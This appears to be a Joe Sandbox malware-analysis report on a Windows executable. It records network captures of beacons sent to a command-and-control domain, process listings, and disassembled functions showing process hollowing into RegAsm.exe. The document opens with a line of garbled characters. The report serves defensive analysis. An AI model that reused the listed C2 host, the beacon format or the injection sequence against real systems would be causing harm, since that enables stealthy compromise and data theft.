N-e1>(V+=vO:o=lNO{ofr#kFhwcJ>yZ698lbZ"Bg0YmQFe\ea#yq%.rEz-sJ;D\Owtw{Ya"iu[yz~xOD/p={}r8,?C2P*}
2024-07-01 07:24:00 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=flfblkdrn29sm1i7afhhobrohv; expires=Fri, 25-Oct-2024 01:10:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1TYbH4WhZWO%2FFjKk3i61M8qYBiGeVlGlEsITo30bkBaf5thmjWWTu9sRaLzBdnrIG9hxj03%2F3jnDNbrrose3QZnttXZJUAfjra%2FB9R2Ys1kz3G%2FG6hKmyWoiNMnUKbNDuJCe3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a75fb8a50f79-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:24:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: potterryisiw.shop
2024-07-01 07:24:01 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 6c 74 32 38 30 36 26 6a 3d 26 68 77 69 64 3d 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 Data Ascii: act=get_message&ver=4.0&lid=H8NgCl--default2806&j=&hwid=C47BA87E7FEA4409D64FF88069D88493
2024-07-01 07:24:01 UTC	804	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=336n36mcqla5aah90tdb5kp0ic; expires=Fri, 25-Oct-2024 01:10:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QStBm2hq40Cqm8HLDCvfJNwly4s1G4l7mu3xyYV9gGdr5NQbQX%2FNRWxXK7AW84WWNfTq3i9Ar6XrjGtvvApEuHULHx4eArPU1j%2FqXp85i1yXUEPtZoKhit%2BbONlUuVoCJGuraA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a76bbb36c44f-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:24:01 UTC	54	IN	Data Raw: 33 30 0d 0a 64 54 69 61 6d 56 6a 2f 49 57 43 43 47 49 39 42 78 63 67 58 4d 67 4e 4a 65 7a 75 4c 79 38 35 59 51 67 63 38 2b 6b 50 39 68 57 51 75 5a 51 3d 3d 0d 0a Data Ascii: 30dTiamVj/IWCCGI9BxcgXMgNJezuLy85YQgc8+kP9hWQuZQ==
2024-07-01 07:24:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:23:32
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\mkFOY01Gl5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mkFOY01Gl5.exe"
Imagebase:	0xf0000
File size:	528'384 bytes
MD5 hash:	0309DD0131150796EA99B30A62194FAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:23:32
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:23:33
Start date:	01/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x340000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:23:33
Start date:	01/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x570000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:23:33
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 304
Imagebase:	0x1000000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:24:01
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 1796
Imagebase:	0x1000000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	1.6%
Total number of Nodes:	1970
Total number of Limit Nodes:	58

Executed Functions

Function 022C018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,022C00FF,022C00EF), ref: 022C02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022C030F
Wow64GetThreadContext.KERNEL32(00000120,00000000), ref: 022C032D
ReadProcessMemory.KERNELBASE(0000011C,?,022C0143,00000004,00000000), ref: 022C0351
VirtualAllocEx.KERNELBASE(0000011C,?,?,00003000,00000040), ref: 022C037C
TerminateProcess.KERNELBASE(0000011C,00000000), ref: 022C039B
WriteProcessMemory.KERNELBASE(0000011C,00000000,?,?,00000000,?), ref: 022C03D4
WriteProcessMemory.KERNELBASE(0000011C,00400000,?,?,00000000,?,00000028), ref: 022C041F
WriteProcessMemory.KERNELBASE(0000011C,?,?,00000004,00000000), ref: 022C045D
Wow64SetThreadContext.KERNEL32(00000120,023F0000), ref: 022C0499
ResumeThread.KERNELBASE(00000120), ref: 022C04A8

Strings

GetP, xrefs: 022C020F
GetThreadContext, xrefs: 022C0267
aryA, xrefs: 022C01D3
VirtualAllocEx, xrefs: 022C028D
SetThreadContext, xrefs: 022C02B3
TerminateProcess, xrefs: 022C038B
VirtualAlloc, xrefs: 022C0254
CreateProcessA, xrefs: 022C0241
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 022C02FB
Load, xrefs: 022C01CB
ResumeThread, xrefs: 022C02C9
WriteProcessMemory, xrefs: 022C02A0
ReadProcessMemory, xrefs: 022C027A
ress, xrefs: 022C0217

Memory Dump Source

Source File: 00000000.00000002.2601466933.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mkFOY01Gl5.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 041cbde26a960da5f551736547e992549d5cd6936eab447ac7d10db5ee5554cc
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 66B1E67264024AAFDB60CFA8CC80BDA77A5FF88714F158524EA0CAB345D774FA41CB94

Function 00114920 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 214
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00114BD0,00000000,00000000,00000000), ref: 00114BBF
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000,?,?,?,?,?,?,?,?,00114C76), ref: 00114BC8

Strings

Earth, xrefs: 00114AD3
C, xrefs: 00114955
Own head, xrefs: 00114AAD

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID: C$Earth$Own head
API String ID: 1891408510-3365287836
Opcode ID: 31ae03ccb2ad55af86e0df196d530a29d97038cc79a79fe72301634f11ac2591
Instruction ID: 6df77a4c96a97a777ee052705db83638bbb4226d1a30e51c5e5f3048cb362396
Opcode Fuzzy Hash: 31ae03ccb2ad55af86e0df196d530a29d97038cc79a79fe72301634f11ac2591
Instruction Fuzzy Hash: 83716471A083058BD718DF748CC5BEBB7E4AF88740F140A3CF59697592E760EA88C796

Function 00106AF1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187476d68e2606cdce371126295309166868084c328b2d7ce50f7c335d6a9bbd
Instruction ID: c1f723b623ad3002038ea3619755f7af699cac35751f7d0f9db5fda30546dd1c
Opcode Fuzzy Hash: 187476d68e2606cdce371126295309166868084c328b2d7ce50f7c335d6a9bbd
Instruction Fuzzy Hash: 36F0A071A11320DBCB16C748C405B9973FCEB08B11F1140A6E440EB180C7B0DE40C7D0

Function 00114D20 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShowWindow,429EDEEC), ref: 00114D55
GetProcAddress.KERNEL32(00000000), ref: 00114D5C
GetConsoleWindow.KERNELBASE(?,00000000), ref: 00114D6B
GetModuleHandleA.KERNEL32(kernel32.dll,FreeConsole), ref: 00114D7F
GetProcAddress.KERNEL32(00000000), ref: 00114D86
FreeConsole.KERNELBASE ref: 00114D92

Part of subcall function 00114000: GetCurrentThreadId.KERNEL32 ref: 0011406A

Strings

kernel32.dll, xrefs: 00114D7A
user32.dll, xrefs: 00114D50
ShowWindow, xrefs: 00114D4B
FreeConsole, xrefs: 00114D75

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: AddressConsoleHandleModuleProc$CurrentFreeThreadWindow
String ID: FreeConsole$ShowWindow$kernel32.dll$user32.dll
API String ID: 245968307-4003964729
Opcode ID: a7e3879722f35b4b1906ef073c510f59344a0ce5d58ee2e24ca33ba75d0a4cbb
Instruction ID: 3c5e3d67fa50986d53e28f89bb7642491ca829d96c351b7403ea188f170bd4b5
Opcode Fuzzy Hash: a7e3879722f35b4b1906ef073c510f59344a0ce5d58ee2e24ca33ba75d0a4cbb
Instruction Fuzzy Hash: E911B271A40704EBDB04EBF4ED09BDEBBF9EB88B51F108535F515D3680E774998086A1

Function 00106494 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,001065A1,?,?,00000001,00000000,?,?,0010680B,00000021,FlsSetValue,001194CC,001194D4,00000001), ref: 00106555

Strings

ext-ms-, xrefs: 001064FF
api-ms-, xrefs: 001064EB

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d286f0bf8783b03e52e71f07f2a4e65ca7e54f6b482fa8148d2b76966a032b9f
Instruction ID: d0c55aa1a2788ec2d02509efb939ba710c8e86ad815d905160a517f432bf6c4c
Opcode Fuzzy Hash: d286f0bf8783b03e52e71f07f2a4e65ca7e54f6b482fa8148d2b76966a032b9f
Instruction Fuzzy Hash: F3213A32A01321EBCB269B64EC44A9A3768DF467B0F114160F986E72D4DBB0EF50C6D0

Function 00114000 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0011406A
std::_Throw_Cpp_error.LIBCPMT ref: 001140A5
std::_Throw_Cpp_error.LIBCPMT ref: 001140AC
std::_Throw_Cpp_error.LIBCPMT ref: 001140B3
std::_Throw_Cpp_error.LIBCPMT ref: 001140BA

Strings

Success created., xrefs: 00114003

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID: Success created.
API String ID: 2261580123-2637490038
Opcode ID: a4626639991cd517abe6e7bca2d15cb689551c728d09833b2ed92192369fa062
Instruction ID: 4a84fcf157ef59b0985518eebb106cb70628e06111e9db252884a31e9890f08f
Opcode Fuzzy Hash: a4626639991cd517abe6e7bca2d15cb689551c728d09833b2ed92192369fa062
Instruction Fuzzy Hash: A111A7716407056BE3743BB54C03BEB7594AF05F82F144539FB48AA9C3EBA2944497A2

Function 000FE516 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0000E3BA,00000000,?,?), ref: 000FE55F
GetLastError.KERNEL32 ref: 000FE56B
__dosmaperr.LIBCMT ref: 000FE572

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: cf9ff95f71fb63d13eec6e6f3b082a7032d81260bf2d5885d4ff61af5b59530f
Instruction ID: 99cb7cff44634802c38a76902e74741c48346035791924527e2f5621ac5f3c3b
Opcode Fuzzy Hash: cf9ff95f71fb63d13eec6e6f3b082a7032d81260bf2d5885d4ff61af5b59530f
Instruction Fuzzy Hash: 8B01DE7290124DEFDF159FA0CC05AFE3BA5EF40724F004028FA01969A1EB70CA50FBA0

Function 00108A6D Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001081B7: GetConsoleOutputCP.KERNEL32(429EDEEC,00000000,00000000,00000000), ref: 0010821A

WriteFile.KERNEL32(?,00000000,?,0011F498,00000000,0000000C,00000000,00000000,?,00000000,0011F498,00000010,00100642,00000000,00000000,00000000), ref: 00108BD6
GetLastError.KERNEL32(?,00000000), ref: 00108BE0

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 2e902ea2d15e57685d848a5aa034b40d074fb4c9b964558d5d85f17a0644362b
Instruction ID: c1c54f07a84d86c4618f77f994cd63e952c090bd49637b310402f599c1a6fbd3
Opcode Fuzzy Hash: 2e902ea2d15e57685d848a5aa034b40d074fb4c9b964558d5d85f17a0644362b
Instruction Fuzzy Hash: 7761B3B1D08249EFDF158FA8C984AEEBBB9EF19304F144055E8C4A7292DBB1D941CB60

Function 00114BD0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 107
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 00114C66

Strings

MZx, xrefs: 00114C82, 00114CA3, 00114CA8

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: AllocVirtual
String ID: MZx
API String ID: 4275171209-2575928145
Opcode ID: 3423983b1c73f3c931f42c26971118d040d1e4f6179b30d4f0f1280b34241f6c
Instruction ID: 6f963326315edf353d158c0f7a91b20700c8b4b3e12a0d87616c942631ada40c
Opcode Fuzzy Hash: 3423983b1c73f3c931f42c26971118d040d1e4f6179b30d4f0f1280b34241f6c
Instruction Fuzzy Hash: 0031A375E003089BDB04DFA8DD81BEEB7B4EF1D740F104269F904B7682EB759A948764

Function 0010866F Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,00108BBC,00000000,00000000,00000000,?,0000000C,00000000), ref: 0010870B
GetLastError.KERNEL32(?,00108BBC,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,0011F498,00000010,00100642,00000000,00000000), ref: 00108731

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 30eda54b36b46e10513e3154b2e047d98c9ff8654da0febdb2f77b739ef01fa7
Instruction ID: f37a99e807d4a647757bc86a65174b219e453600ab575909730c64add7b7b6b7
Opcode Fuzzy Hash: 30eda54b36b46e10513e3154b2e047d98c9ff8654da0febdb2f77b739ef01fa7
Instruction Fuzzy Hash: 9121A234A00219DBCB19CF29DC909EDB7B5EB4C301F2480A9EA8AD7251DB709D82CB61

Function 00106182 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 001061CE
GetFileType.KERNELBASE(00000000), ref: 001061E0

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: db693a10bf974189e642e8a96329801449ac4d79d5136970c2f0366c7da497ae
Instruction ID: 33543366ed0b741e81838742a25f54860137798cee1cd648fe2ba546298aa2ca
Opcode Fuzzy Hash: db693a10bf974189e642e8a96329801449ac4d79d5136970c2f0366c7da497ae
Instruction Fuzzy Hash: 4A11E9315047429ADB344F3EDC886267ED59B96330B380719E0FAC65F2C3B0D8E6D641

Function 000FE3BA Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(0011F048,0000000C), ref: 000FE3CD
ExitThread.KERNEL32 ref: 000FE3D4

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 600bba551166580000cda6da0c5bbfb624b86c87f2ba4ac0579bbf67c78fac5f
Instruction ID: c48a4242df8a4864de0ad56d3d603d5efcab7aab034c40f27dbca0987a1e06ca
Opcode Fuzzy Hash: 600bba551166580000cda6da0c5bbfb624b86c87f2ba4ac0579bbf67c78fac5f
Instruction Fuzzy Hash: 4AF0C270940608EFDB14ABB0D94AAAE3BB1FF59700F108159F5019BAA2CBB45A41DBA1

Function 00104F0C Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0010C57D,?,00000000,?,?,0010C81E,?,00000007,?,?,0010CD17,?,?), ref: 00104F22
GetLastError.KERNEL32(?,?,0010C57D,?,00000000,?,?,0010C81E,?,00000007,?,?,0010CD17,?,?), ref: 00104F2D

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 15ccec119d61075604fe64e8038ea3f5afe21195b8763fd76dd59e1d4262285f
Instruction ID: 4e0f9c11f8f9276b4030658de06adbf9d4240895c3b84268de6aee39612568c8
Opcode Fuzzy Hash: 15ccec119d61075604fe64e8038ea3f5afe21195b8763fd76dd59e1d4262285f
Instruction Fuzzy Hash: 02E08631100605ABCB152BA4ED09BE93A599F84755F104060F70C9A4A1DF7089C08794

Function 000F625D Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36a114f48129b07f88941a07a36be4ddfa0f47e9764112a92cdab29d78eeb2f4
Instruction ID: d65d6e04093454cbda1f648eedd76d67f726e25cb520418a51a8e878b62e0979
